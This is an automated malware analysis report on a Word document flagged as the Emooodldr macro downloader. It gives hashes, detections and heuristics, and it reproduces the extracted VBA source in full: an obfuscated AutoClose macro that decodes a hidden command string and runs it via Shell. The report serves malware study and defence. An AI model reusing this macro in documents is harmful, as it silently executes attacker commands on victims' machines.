Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 f11b7237907275ca…

MALICIOUS

Office (OOXML)

53.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-04-18
MD5: 8ee304efa087574c9df940ab2ca5474e SHA-1: 024652ecbfa0bad984f890fd3cf94e37cf783e01 SHA-256: f11b7237907275ca59ce4f0b630f69a6c3770b0060359917bf465690e2309e47
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an Office document containing VBA macros, specifically an AutoClose macro that is designed to execute automatically when the document is closed. The macro utilizes the Shell() function to run a command, which is a common technique for downloading and executing further malicious payloads. ClamAV detection further confirms its malicious nature, identifying it as Doc.Malware.Emooodldr-6711604-0.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2023 bytes
SHA-256: c1c681255fe8b415852947dda0ee1bd26077df80be665ff47a873e96bab24a96
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
  roans = Array("d", "J", "t", "s", "e", "A", "h", "0", "h", "j", "t", "s", "s", "V", "o", "q", "q", "n", "P", "5", "Z", "n", "9", "P", "L", "l", "n", "9", "5", "n", "t", "9", "h", "9", "A", "x", "E", "d", "q", "G", "Q", "q", "J", "d", "5", "0", "A", "V", "t", "V", "N", "L", "s", "d", "e", "X", "P", "E", "l", "P")
  totoro = ceraunogram(roans)
  
  Application.Run "chillumchee", (totoro)
  
End Sub


Private Sub chillumchee(brothy)
   
   declination = 6162
   samoan = True
   
   While samoan
     boneblack = declination + 222
     If boneblack - declination > 111 Then
       VBA.Shell brothy, vbNormalFocus - 1
       samoan = False
      End If
     
   Wend

End Sub


Public Function trinely(germaneness, preludium)

  russophobist = 9090
  categoryator = -1
  For Each drolled In preludium
    If drolled = germaneness Then
     russophobist = categoryator
     Exit For
    End If

    categoryator = categoryator + 1
    
  Next

  
  If russophobist = 9090 Then
    russophobist = -1
  End If


  trinely = russophobist + 1
End Function

Private Function ceraunogram(roans)
  malope = Array("s", "P", "G", "q", "e", "d", "9", "Q", "x", "E", "j", "n", "N", "X", "t", "h", "L", "o", "V", "0", "A", "J", "Z", "5", "l")
  roughhoused = Array("t", "d", "N", "/", "a", "m", "w", "A", "c", "o", " ", "q", "?", "=", "h", "e", "u", ":", "p", "x", ".", "s", "j", "i", "n")
  
  erasable = vbNullString
  
  For Each paraphrenic In roans
    ore = Application.Run("trinely", paraphrenic, malope)
    If ore > -1 And ore < 8080 Then
    erasable = roughhoused(ore) + erasable
    End If
  Next
  
  ceraunogram = StrReverse(erasable)
  
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 6f9e8432b0c30a436fb815583bf00c125fb5e616f8046090f379b70a706e5e13
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

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